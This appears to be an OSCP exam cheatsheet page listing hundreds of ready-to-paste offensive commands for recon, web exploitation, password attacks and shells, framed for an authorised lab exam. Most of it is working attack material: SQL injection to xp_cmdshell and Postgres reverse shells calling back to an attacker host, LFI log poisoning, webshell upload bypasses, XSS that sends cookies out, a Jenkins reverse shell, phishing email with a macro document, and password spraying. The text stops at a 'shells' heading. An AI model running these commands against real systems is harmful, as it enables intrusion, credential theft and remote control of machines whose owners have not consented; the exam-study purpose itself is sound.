← cd ..

Cheatsheet

Set the variables once, paste the export block, then every command below works as-is

phases
9
vars
37
commands
325
how to use this

Fill in what you know about the box. Copy the export block into a fresh terminal and the commands underneath paste straight in — no editing, no half-substituted IPs. Switch to values if you would rather copy a command with everything already filled in.

variables

Values live in this browser only — nothing is sent anywhere, and they are still here next time you open the page.

target
attacker
internal

once you are on the pivot — the network behind it, the pivot's own address on that network, and the box you are working in there

creds

whatever you land first goes in slot 1 and moves up as you escalate

admin
wordlists

paste this into a fresh terminal

export LPORT=4444export WORKDIR=.export USERLIST="$WORKDIR/users.md"export PASSLIST="$WORKDIR/passwords.md"export ROCKYOU=/usr/share/wordlists/rockyou.txtexport SECLISTS=/usr/share/seclists

setup

the five minutes before the first scan. Fill the panel, paste the exports, then everything below works unedited

before exam day [4]

once, the week before. Nothing here is on the exam — it is what lets the rest of this page run without a download mid-box

tools kali does not ship

everything this page reaches for that apt does not have, into ~/tools. The "tools into www/" card below copies them in per box. SharpHound comes out of your own BloodHound, so the collector matches the server

fetch them
mkdir -p ~/tools && cd ~/toolssudo apt install -y chisel sshuttle certipy-ad peass powersploit windows-binaries mimikatz shellter python3-pyftpdlibpipx install git-dumper && pipx install wsgidav && pipx install pylnk3 && pipx install bloodyAD && pip3 install --user --break-system-packages uploadserver# windows: potatoes, runas, a real ttycurl -LO https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer64.execurl -LO https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.execurl -LO https://github.com/tylerdotrar/SigmaPotato/releases/latest/download/SigmaPotato.execurl -LO https://github.com/antonioCoco/RunasCs/releases/latest/download/RunasCs.zip && unzip -o RunasCs.zipcurl -LO https://github.com/antonioCoco/ConPtyShell/releases/latest/download/ConPtyShell.zip && unzip -o ConPtyShell.zipcurl -LO https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1curl -LO https://github.com/CsEnox/SeManageVolumeExploit/releases/latest/download/SeManageVolumeExploit.exe# windows: ADcurl -LO https://raw.githubusercontent.com/Flangvik/SharpCollection/master/NetFramework_4.7_Any/Rubeus.execurl -LO https://raw.githubusercontent.com/Flangvik/SharpCollection/master/NetFramework_4.7_Any/Certify.execurl -LO https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1# http://localhost:8088 > download collectors > SharpHound.zip — the one that matches the server you run# sysinternalscurl -LO https://download.sysinternals.com/files/AccessChk.zip && unzip -o AccessChk.zip accesschk64.execurl -LO https://download.sysinternals.com/files/PSTools.zip && unzip -o PSTools.zip PsExec64.exe# linux, and the pivotcurl -LO https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 && chmod +x pspy64curl -L -o kerbrute https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 && chmod +x kerbrutecurl -s https://api.github.com/repos/nicocha30/ligolo-ng/releases/latest | grep -oE 'https://[^"]+(proxy_[^"]+_linux_amd64\.tar\.gz|agent_[^"]+_(linux_amd64\.tar\.gz|windows_amd64\.zip))' | xargs -n1 curl -LOfor f in ligolo-ng_proxy_*.tar.gz; do tar xzf "$f" proxy; done; for f in ligolo-ng_agent_*linux*.tar.gz; do tar xzf "$f" agent; done; unzip -o ligolo-ng_agent_*windows*.zip agent.execurl -s https://api.github.com/repos/jpillora/chisel/releases/latest | grep -oE 'https://[^"]+windows_amd64\.gz' | xargs curl -L -o chisel.exe.gz && gunzip -f chisel.exe.gz# fresh peas — the apt ones lagcurl -LO https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.execurl -LO https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.execurl -LO https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEAS.batcurl -LO https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.shgit clone https://github.com/bitsadmin/wesng && git clone https://github.com/ticarpi/jwt_toolls -la ~/tools
the machine

the night before. Snapshot kali once it is all working — that is the snapshot that gets restored at 3am

sudo openvpn exam.ovpn    # the pack comes with the exam email. Test the lab pack now, the same wayip -4 -br addr show tun0 && ping -c 2 $IPcd ~/bloodhound && docker compose up -d && docker compose ps    # 8088, not 8080 — burp has thatls ~/tools | wc -l    # everything the card above fetched# notes template open, screenshot tool on a hotkey, burp proxying through foxyproxy, then take the snapshot
the plan
# 23h45m, and proctoring check-in is 15 minutes before that. The clock does not wait for the check-in# 70 to pass and no bonus points. Every machine scores on its own, the AD ones included — see scoring. Any 70 is a pass# AD first anyway: the creds are handed to you, the DC is the biggest single prize, and the standalone full scans run themselves in other tabs meanwhile# 2 hours with nothing is the signal to move on. The box has not hidden what it has — you are looking in the wrong place. "when stuck", below# a flag on screen means screenshot now and into the exam panel now. Not at the end# breaks: tell the proctor, step away. Two hours of sleep at the 14 hour mark buys back more than it costs# the report is due 24 hours after the exam ends. Write each box up as it falls, from the notes, while the shell is still open
track it

the exam as a page — six boxes, what is done on each, the points you actually have right now, and the clock. Every tick is timed, which is the timeline the report wants

open the exam tracker

every box [7]

workdir

scans/ for nmap, loot/ for what comes off the box, www/ for what goes on to it. The user and password lists start empty and grow

mkdir -p $WORKDIR/scans $WORKDIR/loot $WORKDIR/www && cd $WORKDIRtouch $USERLIST $PASSLIST
hosts file

before anything that needs the vhost to resolve, and before any Kerberos — it fails against a bare IP

echo "$IP $DOMAIN" | sudo tee -a /etc/hostsecho "$IP $DC $DOMAIN" | sudo tee -a /etc/hosts
your IP
ip -4 -br addr show tun0
listener

rlwrap gives the dumb shell arrow keys and history. The loop re-arms after the shell dies

rlwrap nc -lnvp $LPORTwhile true; do rlwrap nc -lnvp $LPORT; sleep 1; done
serve www/
python3 -m http.server 8000 --directory $WORKDIR/www
tools into www/

copy what you need into www/ rather than hunting for it mid-box. The last line is the "before exam day" fetch

cp /usr/share/windows-resources/binaries/nc.exe $WORKDIR/www/cp /usr/share/windows-resources/binaries/plink.exe $WORKDIR/www/cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe $WORKDIR/www/cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 $WORKDIR/www/cp /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 $WORKDIR/www/cp /usr/share/peass/winpeas/winPEASx64.exe /usr/share/peass/linpeas/linpeas.sh $WORKDIR/www/ls /usr/share/webshells/cp ~/tools/*.exe ~/tools/*.ps1 ~/tools/pspy64 ~/tools/agent ~/tools/linpeas.sh $WORKDIR/www/ 2>/dev/null
clock skew

KRB_AP_ERR_SKEW means your clock is more than 5 minutes off the DC — take the time from the DC, not the internet

sudo timedatectl set-ntp offsudo ntpdate $DCfaketime "$(ntpdate -q $DC | tail -1 | cut -d' ' -f1,2)" bash

exam rules [4]

the short version of the restrictions. Tick "oscp exam" in the filter bar and the banned tools drop off this page

what is off limits
# banned outright: sqlmap and any automatic exploitation tool, Nessus / OpenVAS and#   any mass vulnerability scanner, commercial tools (Burp Pro, Metasploit Pro),#   spoofing (ARP, DNS, NBNS), AI chatbots# one target only: Metasploit exploit / auxiliary / post modules, meterpreter#   msfvenom with a plain shell payload and multi/handler are fine everywhere# fine: nmap and NSE, nikto, gobuster / ffuf, hydra, nxc, impacket, bloodhound,#   mimikatz, linpeas / winpeas, responder, hashcat, evil-winrm, ligolo
what a proof needs

one screenshot, interactive shell, flag and IP in the same frame. A web shell does not count

# linuxcat local.txt; id; hostname; ip acat /root/proof.txt; id; hostname; ip a# windowstype C:\Users\*\Desktop\local.txt & whoami & hostname & ipconfigtype C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig
scoring

as the exam guide reads on 2026-10-16. The AD set stopped being all or nothing — each machine scores on its own, and you start it with a username and password from the control panel

# 3 standalone boxes: 10 pts local.txt + 10 pts proof.txt each            = 60# AD set: 10 for client 1, 10 for client 2, 20 for the DC, each on its own = 40# 70 to pass, no bonus points. The guide's own routes there:#   40 AD + 3 local.txt          40 AD + 2 local.txt + 1 proof.txt#   20 AD + 3 local.txt + 2 proof.txt          10 AD + 3 full standalones# from 1 Dec 2026: raw points become a scaled score specific to your exam set, cutoff unpublished
what the report needs
# one pdf, through the exam portal, within 24 hours of the exam ending. The flags also go into the exam control panel as you find them, and the two must agree# every box: ip, the vulnerability, how you found it, the exploit with every change you made to it, every command in order, every screenshot# the standard: someone with your report and nothing else reproduces the chain. A missing step is a missing box# proof screenshots: the flag, an interactive shell, and ip a / ipconfig — all in one frame, for local.txt and for proof.txt# the AD set is one chain. Show the credential coming off each host and being used on the next# reverted a box after taking a flag? read the flag again before you submit it

when stuck [2]

read this before you lose an hour. Most dead ends are a step skipped back here

no foothold
# full TCP scan actually finished? UDP done? (snmp, tftp)# every service version through searchsploit — including the old-looking one# vhosts: Host header fuzz, and every name you have seen goes in /etc/hosts# web: bigger wordlist, extensions for the stack, 403 does not mean nothing, read the js# default creds for every product. admin:admin, admin:password, the product name# every username and password you have found, against every service, every box# anonymous ftp / smb / nfs / ldap — did you actually look inside?# client-side: smtp open + a name = send them a document
no privesc
# sudo -l / whoami /priv first, then the automated script, then read it properly# what runs as root / SYSTEM that you can write to? services, cron, scheduled tasks# internal ports — ss -tulpn / netstat -ano — something only listening on localhost# creds in configs, history, registry, the thing you logged in to the web app with# kernel / OS version against searchsploit — last, not first# on the AD set: it is not a privesc, it is a lateral move. what does bloodhound say?

recon

one group per service. Scan, then work down the list for every port that answered

nmap [6]

quick scan
nmap -sC -sV -Pn -T4 -oA $WORKDIR/scans/quick $IP
full scan, then services on the open ports

every TCP port first, then go back and fingerprint whatever answered

nmap -p- --min-rate 5000 -T4 -oA $WORKDIR/scans/all $IPnmap -sC -sV -p $(grep -oP '^\d+(?=/tcp\s+open)' $WORKDIR/scans/all.nmap | paste -sd,) -oA $WORKDIR/scans/svc $IP
UDP

slow. Start it in another tab and get on with the TCP results. snmp (161) and tftp (69) are the ones that matter

sudo nmap -sU --top-ports 100 -T4 -oA $WORKDIR/scans/udp $IPsudo nmap -sU -p 69,161,500,1434 -sV $IP
one port, properly

default scripts first, then vuln, then everything nmap marks safe — against one port the last is quick. The ls finds the scripts written for that service

nmap -sC -sV -p $PORT -oA $WORKDIR/scans/$PORT $IPnmap -Pn -sV --script vuln -p $PORT $IPnmap -Pn -sV --script "safe and not broadcast" -p $PORT $IPls /usr/share/nmap/scripts | grep -i <service>
windows or linux

ttl 128 is windows, 64 is linux. 88 + 389 + 445 together is a domain controller — set DC

ping -c 1 $IP | grep -oE 'ttl=[0-9]+'nmap -p 88,135,139,389,445,636,3268,3389,5985 $IP
nmap says searchsploit
searchsploit --nmap $WORKDIR/scans/svc.xml

web [12]

quick checks
whatweb http://$IPcurl -sI http://$IPcurl -s http://$IP | grep -oE '(href|src)="[^"]+"' | sort -ucurl -s http://$IP/robots.txt
directories

extensions matter more than the wordlist — php for apache, aspx for IIS, nothing for an API

gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt -t 50gobuster dir -u http://$IP -w $SECLISTS/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,bak,zip -t 50feroxbuster -u http://$IP -w $SECLISTS/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,bak -kffuf -u http://$IP/FUZZ -w $SECLISTS/Discovery/Web-Content/raft-medium-files.txt -fc 404
directories — on another port
gobuster dir -u http://$IP:$PORT -w $SECLISTS/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,aspx -t 50
api
ffuf -u http://$IP/api/FUZZ -w $SECLISTS/Discovery/Web-Content/api/api-endpoints.txt -fc 404curl -s http://$IP/api/ | jq .
nikto
nikto -h http://$IP -p $PORT
common files

the whole list in one go — read the 200s, ignore the 404s

for p in robots.txt sitemap.xml .git/ .svn/ .env .htaccess backup/ admin/ phpinfo.php server-status .DS_Store web.config composer.json package.json wp-login.php; do  printf '%-20s %s\n' "$p" "$(curl -s -o /dev/null -w '%{http_code} %{size_download}' http://$IP/$p)"done
exposed .git
git-dumper http://$IP/.git/ $WORKDIR/loot/gitcd $WORKDIR/loot/git && git log --all --oneline && git diff HEAD~5
vhosts

raise -fs to the size of the default response if every name answers

ffuf -u http://$IP -H "Host: FUZZ.$DOMAIN" -w $SECLISTS/Discovery/DNS/subdomains-top1million-20000.txt -fs 0gobuster vhost -u http://$IP --domain $DOMAIN -w $SECLISTS/Discovery/DNS/subdomains-top1million-20000.txt --append-domain
parameters
ffuf -u "http://$DOMAIN/index.php?FUZZ=1" -w $SECLISTS/Discovery/Web-Content/burp-parameter-names.txt -fs 0
wordpress
wpscan --url http://$DOMAIN --enumerate p,t,u --plugins-detection aggressivewpscan --url http://$DOMAIN -U $USER1 -P $ROCKYOU
build a wordlist off the site
cewl -d 2 -m 5 -w $PASSLIST http://$IPcurl -s http://$IP | grep -oE '[a-zA-Z]{5,}' | sort -u >> $PASSLIST
names off the documents

the author field in a pdf or docx is a username convention for free

exiftool -Author -Creator -LastModifiedBy $WORKDIR/loot/*.pdf $WORKDIR/loot/*.docx 2>/dev/null

smb [7]

nxc is netexec, the maintained fork of crackmapexec — same flags

with no creds
nxc smb $IPnxc smb $IP -u '' -p '' --shares --pass-polnxc smb $IP -u guest -p '' --sharessmbclient -N -L //$IPsmbmap -H $IPsmbmap -H $IP -u guestenum4linux-ng -A $IP
guest session

when guest authenticates but null does not — treat guest as a real credential and rerun everything with it

nxc smb $IP -u guest -p '' --shares --pass-pol --userssmbclient -L //$IP -U 'guest%'rpcclient -U 'guest%' $IP -c 'enumdomusers;querydominfo'
with creds
nxc smb $IP -u $USER1 -p $PASS1 --shares --users --groups --loggedon-users --pass-polnxc smb $IP -u $USER1 -H $HASH1 --sharessmbmap -H $IP -u $USER1 -p $PASS1 -rsmbclient "//$IP/SHARE" -U "$DOMAIN/$USER1%$PASS1"smbclient "//$IP/SHARE" -U "$DOMAIN/$USER1" --pw-nt-hash $HASH1
rid brute

read on IPC$ is enough, so this works from a null or guest session on most DCs — usually the fastest way to a full user list

nxc smb $IP -u guest -p '' --rid-brute 10000impacket-lookupsid guest@$IP -no-pass 10000impacket-lookupsid guest@$IP -no-pass 10000 | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 | sort -u >> $USERLIST
spider and pull a share

inventory before you download — a share can be three files or a 2 GB backup

nxc smb $IP -u $USER1 -p $PASS1 -M spider_plussmbclient "//$IP/SHARE" -U "$DOMAIN/$USER1%$PASS1" -c 'prompt OFF; recurse ON; lcd '"$WORKDIR"'/loot; mget *'smbget -R "smb://$IP/SHARE" -U $USER1sudo mount -t cifs "//$IP/SHARE" /mnt/smb -o user=$USER1,pass=$PASS1
loot a share once it is down
grep -rniE 'pass(word)?|pwd|cpassword|secret|api[_-]?key|ConvertTo-SecureString' $WORKDIR/lootfind $WORKDIR/loot -type f \( -name '*.ps1' -o -name '*.bat' -o -name '*.vbs' -o -name '*.xml' \       -o -name '*.config' -o -name '*.kdbx' -o -name '*.vhdx' -o -name 'id_rsa*' \)
nmap scripts
nmap --script 'smb-vuln*' -Pn -p 139,445 $IPnmap --script smb-enum-shares,smb-enum-users -p 445 $IP

rpc & ldap [5]

rpcclient

0x1f4 is RID 500, the built-in Administrator — queryuser on it tells you the real admin name

rpcclient -U '' -N $IP -c 'enumdomusers;enumdomgroups;querydominfo;getdompwinfo'rpcclient -U "$DOMAIN/$USER1%$PASS1" $IP -c 'enumdomusers;queryuser 0x1f4;querygroupmem 0x200'rpcclient -U "$DOMAIN/$USER1%$PASS1" $IP -c 'enumdomusers' | grep -oP '\[\K[^\]]+' | awk 'NR%2==1' >> $USERLIST
ldap anonymous
ldapsearch -x -H "ldap://$IP" -s base namingcontextsldapsearch -x -H "ldap://$IP" -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')"
ldap — users and the descriptions people put passwords in
ldapsearch -x -H "ldap://$DC" -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" "(objectClass=user)" sAMAccountName description | grep -E '^(sAMAccountName|description)'ldapsearch -x -H "ldap://$DC" -D "$USER1@$DOMAIN" -w "$PASS1" -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" "(objectClass=user)" sAMAccountName description memberOfnxc ldap $DC -u $USER1 -p $PASS1 -M get-desc-users
ldap — the lot, as html
ldapdomaindump -u "$DOMAIN\\$USER1" -p "$PASS1" -o $WORKDIR/loot/ldap $DC
kerberos user enum

no creds, no lockout — kerberos answers differently for a user that exists

kerbrute userenum -d $DOMAIN --dc $DC $SECLISTS/Usernames/xato-net-10-million-usernames.txtkerbrute userenum -d $DOMAIN --dc $DC $USERLIST

dns [2]

basics
dig any $DOMAIN @$IPdig axfr $DOMAIN @$IPhost -t ns $DOMAIN $IPnslookup $IP $IP
zone transfer and brute force
dnsrecon -d $DOMAIN -n $IP -adnsenum --dnsserver $IP --enum -f $SECLISTS/Discovery/DNS/subdomains-top1million-5000.txt $DOMAINffuf -u http://FUZZ.$DOMAIN -w $SECLISTS/Discovery/DNS/subdomains-top1million-20000.txt -fs 0

ftp [3]

anonymous
ftp anonymous@$IPnmap --script ftp-anon,ftp-syst,ftp-vsftpd-backdoor -p 21 $IP
mirror everything
wget -m --no-passive ftp://anonymous:anonymous@$IP -P $WORKDIR/lootwget -m "ftp://$USER1:$PASS1@$IP" -P $WORKDIR/loot
with creds

binary before any transfer, or you will corrupt executables. Can you put? Then it is a webroot, maybe

ftp $USER1@$IP# binary# prompt off# mget *# put shell.php

smtp [2]

user enum
nmap -p 25 --script smtp-commands,smtp-enum-users $IPsmtp-user-enum -M VRFY -U $USERLIST -t $IPnc -nv $IP 25# VRFY root
send them something

smtp open plus a name off the website means a client-side attack is on the table

swaks --to $USER1@$DOMAIN --from it@$DOMAIN --server $IP --header "Subject: password reset" --body "http://$LHOST:8000/" --attach @$WORKDIR/www/doc.docm

snmp [3]

udp 161. The mib walk is slow but it hands you users, processes, ports and sometimes a password in a process argument

community string
onesixtyone -c $SECLISTS/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt $IP
walk it
snmpwalk -v2c -c public $IP > $WORKDIR/loot/snmp.mdsnmpbulkwalk -v2c -c public -Oa $IP > $WORKDIR/loot/snmp.mdsnmp-check $IP
the useful oids
snmpwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25        # userssnmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.2       # running processessnmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.5       # process arguments — passwords live heresnmpwalk -v2c -c public $IP 1.3.6.1.2.1.6.13.1.3         # tcp portssnmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.6.3.1.2       # installed softwaresnmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.2.3.1.3       # storage

nfs [2]

list and mount
showmount -e $IPsudo mount -t nfs -o nolock,vers=3 "$IP:/export" /mnt/nfsls -la /mnt/nfs
files you cannot read

owned by a uid you do not have — make a local user with that uid and you do

sudo useradd -u 1001 nfsusersudo -u nfsuser cat /mnt/nfs/file

databases [5]

mysql
mysql -h $IP -u $USER1 -p"$PASS1"mysql -h $IP -u rootmysql -h $IP -u $USER1 -p"$PASS1" -e "SHOW DATABASES; SELECT user,authentication_string FROM mysql.user;"
mssql
nmap -p 1433 --script ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password $IPimpacket-mssqlclient "$DOMAIN/$USER1:$PASS1@$IP" -windows-authimpacket-mssqlclient "$USER1:$PASS1@$IP"nxc mssql $IP -u $USER1 -p $PASS1 --local-auth
mssql — once you are in

mssqlclient has a helper for each of the usual moves. xp_cmdshell is off by default and only a sysadmin turns it on. Not sysadmin? Look for a login you can impersonate, or a linked server where you are, and run the same thing there

SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');enable_xp_cmdshellxp_cmdshell whoamixp_cmdshell "powershell -c iwr http://$LHOST:8000/nc.exe -OutFile C:\Windows\Temp\nc.exe; C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"enum_impersonateexec_as_login saenum_linksuse_link SRV02xp_dirtree \\$LHOST\x
postgres
psql "postgresql://$USER1:$PASS1@$IP:5432/postgres"psql -h $IP -U postgres
redis
redis-cli -h $IP INFOredis-cli -h $IP --scan

rdp & winrm [3]

rdp

rdp-ntlm-info leaks the hostname and domain with no creds at all

nmap -p 3389 --script rdp-ntlm-info,rdp-enum-encryption $IPnxc rdp $IP -u $USER1 -p $PASS1xfreerdp /v:$IP /u:$USER1 /p:$PASS1 /d:$DOMAIN /cert:ignore /dynamic-resolution +clipboard /drive:share,$WORKDIR/wwwxfreerdp /v:$IP /u:$USER1 /pth:$HASH1 /cert:ignore
winrm

5985. nxc says Pwn3d! when the creds give a shell

nxc winrm $IP -u $USER1 -p $PASS1evil-winrm -i $IP -u $USER1 -p $PASS1evil-winrm -i $IP -u $USER1 -H $HASH1
which creds work where

run this against every host as soon as you land any credential. Pwn3d! means local admin

nxc smb $IP -u $USER1 -p $PASS1nxc smb $SUBNET -u $USER1 -p $PASS1nxc winrm $SUBNET -u $USER1 -p $PASS1nxc rdp $SUBNET -u $USER1 -p $PASS1nxc ssh $SUBNET -u $USER1 -p $PASS1

other ports [3]

rsync
rsync --list-only rsync://$IP/rsync -av "rsync://$IP/share" $WORKDIR/loot/rsync
tftp
tftp $IP -c get file.txtnmap -sU -p 69 --script tftp-enum $IP
no idea what this port is
nc -nv $IP $PORTopenssl s_client -connect $IP:$PORTcurl -sv telnet://$IP:$PORTnmap -sV --script banner -p $PORT $IP

foothold

turning what recon found into a shell. Public exploit first, then the web app, then passwords

public exploits [6]

searchsploit

search the product, then the version. -m copies it here, -x reads it without copying

searchsploit <product>searchsploit <product> <version> --exclude="(PoC)|/dos/"searchsploit -x <id>searchsploit -m <id>searchsploit -u
read it before you run it

where does it connect, what does it write, what is hardcoded. Half of them want the host and port edited by hand

grep -nE 'LHOST|RHOST|lhost|rhost|host *=|port *=|http://|cmd *=' exploit.pysed -i 's/\r$//' exploit.py2to3 -w exploit.py && python3 exploit.py
compile — linux target

-m32 for a 32-bit target (apt install gcc-multilib). -static when the target's libc is older than yours. Compile on the box if it has gcc

gcc exploit.c -o exploitgcc -m32 -static exploit.c -o exploitgcc -pthread exploit.c -o exploit -lcrypt
compile — windows target

apt install mingw-w64. -lws2_32 for anything that touches sockets

x86_64-w64-mingw32-gcc exploit.c -o exploit.exei686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32x86_64-w64-mingw32-gcc dll.c --shared -o evil.dll
metasploit oscp: 1 target

exploit and auxiliary modules count against your one target. multi/handler with a plain shell payload is fine anywhere

msfconsole -qsearch <cve>use exploit/...; set RHOSTS $IP; set LHOST $LHOST; set LPORT $LPORT; run
multi/handler

a listener that survives a staged payload. Plain shell payloads do not count as meterpreter

msfconsole -q -x "use multi/handler; set payload windows/x64/shell_reverse_tcp; set LHOST $LHOST; set LPORT $LPORT; run -j"

web — injection [14]

sqli — probes
'' OR 1=1-- -" OR "1"="1admin'-- -' AND SLEEP(5)-- -'; WAITFOR DELAY '0:0:5'-- 
sqli — union, mysql

ORDER BY until it errors to count the columns, then put the payload in a column that renders

' ORDER BY 3-- -' UNION SELECT 1,2,3-- -' UNION SELECT 1,@@version,database()-- -' UNION SELECT 1,table_name,column_name FROM information_schema.columns WHERE table_schema=database()-- -' UNION SELECT 1,username,password FROM users-- -' UNION SELECT 1,load_file('/etc/passwd'),3-- -' UNION SELECT "<?php system($_GET['c']); ?>",null INTO OUTFILE '/var/www/html/x.php'-- -
sqli — mssql to a shell
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- '; EXEC xp_cmdshell 'whoami';-- '; EXEC xp_cmdshell 'powershell -c "iwr http://$LHOST:8000/nc.exe -OutFile C:\Windows\Temp\nc.exe; C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"';-- ' AND 1=CONVERT(int,@@version)-- 
sqli — postgres to a shell
'; CREATE TABLE cmd(o text); COPY cmd FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"';-- 
sqlmap oscp: banned

banned on the exam. Everything it does is in the three cards above, slower

sqlmap -u "http://$IP/page.php?id=1" --batch --dbssqlmap -r request.txt --batch --dumpsqlmap -u "http://$IP/page.php?id=1" --batch --os-shell
lfi
../../../../etc/passwd....//....//....//etc/passwd..%2f..%2f..%2f..%2fetc%2fpasswd/proc/self/environ/proc/self/cmdlineC:\Windows\System32\drivers\etc\hostsC:\inetpub\wwwroot\web.configC:\xampp\apache\conf\httpd.conf
lfi — php wrappers

filter to read source. data and expect only when allow_url_include is on

php://filter/convert.base64-encode/resource=index.phpphp://filter/convert.base64-encode/resource=../config.phpdata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=idexpect://idhttp://$LHOST:8000/shell.txt
lfi — log poisoning

put php in the user agent, then include the access log. Windows apache logs under xampp, IIS under inetpub\logs

curl -s -A "<?php system(\$_GET['c']); ?>" http://$IP/curl -s "http://$IP/index.php?page=../../../../var/log/apache2/access.log&c=id"curl -s "http://$IP/index.php?page=../../../../xampp/apache/logs/access.log&c=whoami"curl -s "http://$IP/index.php?page=../../../../var/log/auth.log&c=id"
lfi fuzz
ffuf -u "http://$IP/index.php?page=FUZZ" -w $SECLISTS/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0
command injection

blind? make it ping you and watch tcpdump

; id| id|| id&& id`id`$(id)%0aid; ping -c 3 $LHOSTsudo tcpdump -i tun0 icmp
command injection — windows

the last line prints CMD or PowerShell, which decides how the payload gets written

& whoami| whoami%26 whoami(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
ssti
{{7*7}}${7*7}<%= 7*7 %>{{config.items()}}{{''.__class__.__mro__[1].__subclasses__()}}
xxe
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>
xss — steal the admin cookie
<script>new Image().src="http://$LHOST:8000/?c="+document.cookie</script><script src="http://$LHOST:8000/x.js"></script>

web — uploads & apps [8]

file upload bypass

try the extension list, then the double extension, then the content type. Then traversal in the filename

.phtml .phar .php5 .php7 .phps .pht .incshell.php.jpg   shell.jpg.php   shell.PHP   shell.php%00.jpgContent-Type: image/jpeg../../../../var/www/html/shell.php../../../../root/.ssh/authorized_keys.aspx .asp .ashx .asmx .config
upload with curl
curl -s -F "file=@$WORKDIR/www/shell.php" http://$IP/upload.phpcurl -s -F "file=@$WORKDIR/www/shell.php;type=image/jpeg;filename=shell.phtml" http://$IP/upload.php
.htaccess

when the extension list cannot be beaten, teach apache a new one

echo 'AddType application/x-httpd-php .evil' > .htaccess
wordpress
# plugins > add new > upload: a zip holding shell.php, then /wp-content/plugins/<name>/shell.php# appearance > theme editor > 404.php, paste the reverse shell, then /wp-content/themes/<theme>/404.phpcat wp-config.php | grep -E 'DB_(USER|PASSWORD|HOST)'
default creds
admin:admin  admin:password  admin:<product>  root:root  tomcat:tomcat  tomcat:s3cret  admin:changemecurl -s -u admin:admin http://$IP/manager/html
tomcat
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f war -o $WORKDIR/www/shell.warcurl -s -u tomcat:s3cret -T $WORKDIR/www/shell.war "http://$IP:8080/manager/text/deploy?path=/shell"curl -s http://$IP:8080/shell/
jenkins / script consoles
# /script : println "bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'".execute().text# /script : println "cmd /c whoami".execute().text
deserialisation / jwt
jwt_tool <token> -C -d $ROCKYOUhashcat -m 16500 jwt.md $ROCKYOU

passwords [6]

check the lockout policy first (nxc --pass-pol, net accounts). Three attempts on an AD account with a policy is a locked account

hydra
hydra -l $USER1 -P $ROCKYOU ssh://$IP -t 4hydra -L $USERLIST -P $PASSLIST ftp://$IPhydra -L $USERLIST -p $PASS1 rdp://$IPhydra -l $USER1 -P $ROCKYOU $IP http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"hydra -l $USER1 -P $ROCKYOU -s $PORT $IP http-get /
spray with nxc

--no-bruteforce pairs line 1 with line 1. --continue-on-success keeps going after a hit

nxc smb $IP -u $USERLIST -p $PASS1 --continue-on-successnxc smb $IP -u $USERLIST -p $PASSLIST --no-bruteforce --continue-on-successnxc ssh $IP -u $USERLIST -p $PASSLISTnxc winrm $IP -u $USERLIST -p $PASSLISTnxc mssql $IP -u $USERLIST -p $PASSLIST --local-auth
ffuf a login form
ffuf -u http://$IP/login.php -X POST -d "user=$USER1&pass=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -w $ROCKYOU -fr "Invalid"
mutate what you have

the site's words plus the usual suffixes beats rockyou on a box that has a theme

hashcat --stdout $PASSLIST -r /usr/share/hashcat/rules/best64.rule | sort -u > $WORKDIR/mutated.mdfor w in $(cat $PASSLIST); do for s in 1 123 2024 2025 ! 2024! 2025!; do echo "$w$s"; done; done >> $WORKDIR/mutated.md
ssh key found
chmod 600 id_rsa && ssh -i id_rsa $USER1@$IPssh2john id_rsa > key.hash && john --wordlist=$ROCKYOU key.hash
old box, ssh refuses

"no matching host key type", "no mutual signature algorithm" and "no matching key exchange method" are your client being newer than the box, not a bad key or password. Re-enable what it dropped

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -i id_rsa $USER1@$IPssh -o KexAlgorithms=+diffie-hellman-group1-sha1,diffie-hellman-group14-sha1 -o HostKeyAlgorithms=+ssh-rsa,ssh-dss $USER1@$IPssh -o IdentitiesOnly=yes -i id_rsa $USER1@$IPssh -vv $USER1@$IP 2>&1 | grep -iE 'offer|no matching|mutual'

shells [12]

bash

the wrapped one is for when the payload goes through a query string or a template

